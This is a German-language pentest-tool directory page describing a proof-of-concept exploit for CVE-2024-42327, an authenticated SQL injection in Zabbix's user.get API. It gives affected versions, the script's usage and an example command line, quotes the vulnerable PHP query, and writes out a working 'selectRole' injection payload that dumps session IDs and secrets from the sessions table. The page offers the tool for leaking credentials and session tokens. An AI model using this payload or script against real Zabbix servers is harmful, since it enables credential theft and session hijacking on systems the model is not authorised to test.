Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-42327_Zabbix_SQLI — POC für CVE-2024-42327, eine authentifizierte SQL-Injection in Zabbix über die user.get API-Methode | Kitploit
Tools/GitHubGitHub/watchdog1337/cve-2024-42327_zabbix_sqli
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsDatenbanksicherheit
GitHubwatchdog1337/cve-2024-42327_zabbix_sqli

CVE-2024-42327_Zabbix_SQLI

POC für CVE-2024-42327, eine authentifizierte SQL-Injection in Zabbix über die user.get API-Methode

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
3vor 1 JahrNoch nicht geprüft

CVE-2024-42327 - Zabbix SQL-Injection-Schwachstelle (SQLI) (Nicht blind und nicht zeitbasiert)

POC für CVE-2024-42327, eine authentifizierte SQL-Injection in Zabbix über die user.get API-Methode. Dieser POC ist nicht zeitbasiert wie einige der anderen POCs, die ich draußen gesehen habe.

CVE-Beschreibung

Die Schwachstelle existiert im user.get API-Endpunkt, der von einem Nicht-Admin-Benutzer mit API-Zugriff ausgenutzt werden kann, einschließlich Konten mit der Standard-Benutzerrolle.

Der SQL-Injection-Fehler existiert in der CUser-Klasse in der Funktion addRelatedObjects. Diese Funktion wird von der Funktion CUser.get aufgerufen, die Benutzern mit API-Zugriff zur Verfügung steht.

Ein Angreifer kann SQL-Befehle durch Manipulation von API-Aufrufen einschleusen.

Eine erfolgreiche Ausnutzung der Schwachstelle könnte es einem Angreifer ermöglichen, unbefugten Zugriff und Kontrolle zu erlangen.

Betroffene Versionen

root@kitploit:~
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0

POC

Dieser POC wird Benutzeranmeldeinformationen aus der Datenbank preisgeben sowie Sitzungstoken, um sich bei der API zu authentifizieren.

Es besteht die Möglichkeit, eine benutzerdefinierte SQL-Abfrage auszuführen (--query).

Verwendung

root@kitploit:~
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]

Akzeptiert eine URL, BENUTZERNAME, PASSWORT und eine optionale benutzerdefinierte SQL-Abfrage.

options:
  -h, --help            Zeige diese Hilfemeldung an und beende
  -u URL, --url URL     Die URL zu Zabbix (bitte den Pfad angeben - http://example.com/zabbix/)
  -U USERNAME, --username USERNAME
                        Der Benutzername für die Authentifizierung
  -P PASSWORD, --password PASSWORD
                        Das Passwort für die Authentifizierung
  --query QUERY         Eine optionale benutzerdefinierte SQL-Abfrage, die durch die SQL-Injection ausgeführt wird

Beispiel

root@kitploit:~
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password

Schwachstellenuntersuchung

Bei der Untersuchung des Codes unter https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php in der Funktion addRelatedObjects finden wir leicht die anfällige SQL-Abfrage (Zeilen 3046 - 3051)

root@kitploit:~
$db_roles = DBselect(
				'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
				' FROM users u,role r'.
				' WHERE u.roleid=r.roleid'.
				' AND '.dbConditionInt('u.userid', $userIds)
			);

Es ist sofort offensichtlich, dass die in $options['selectRole'] enthaltenen Werte in die SQL-Abfrage übergeben werden.

Ein typischer JSON-Block, der diesen Teil des Codes trifft, sieht wie folgt aus:

root@kitploit:~
{
  "jsonrpc": "2.0",
  "auth": "AUTH_TOKEN_HERE",
  "id": 1,
  "method": "user.get",
  "params": {
    "output": [
      "userid",
      "username"
    ],
    "selectRole": [
      "type",
      "roleid",
      "name",
      "readonly"
    ]
  }
}

Wir können die "selectRole"-Werte so gestalten, dass sie SQL-Injection ermöglichen

root@kitploit:~
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]

Die obige Injektion führt zu einer SQL-Abfrage wie der folgenden:

root@kitploit:~
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)
Tool herunterladen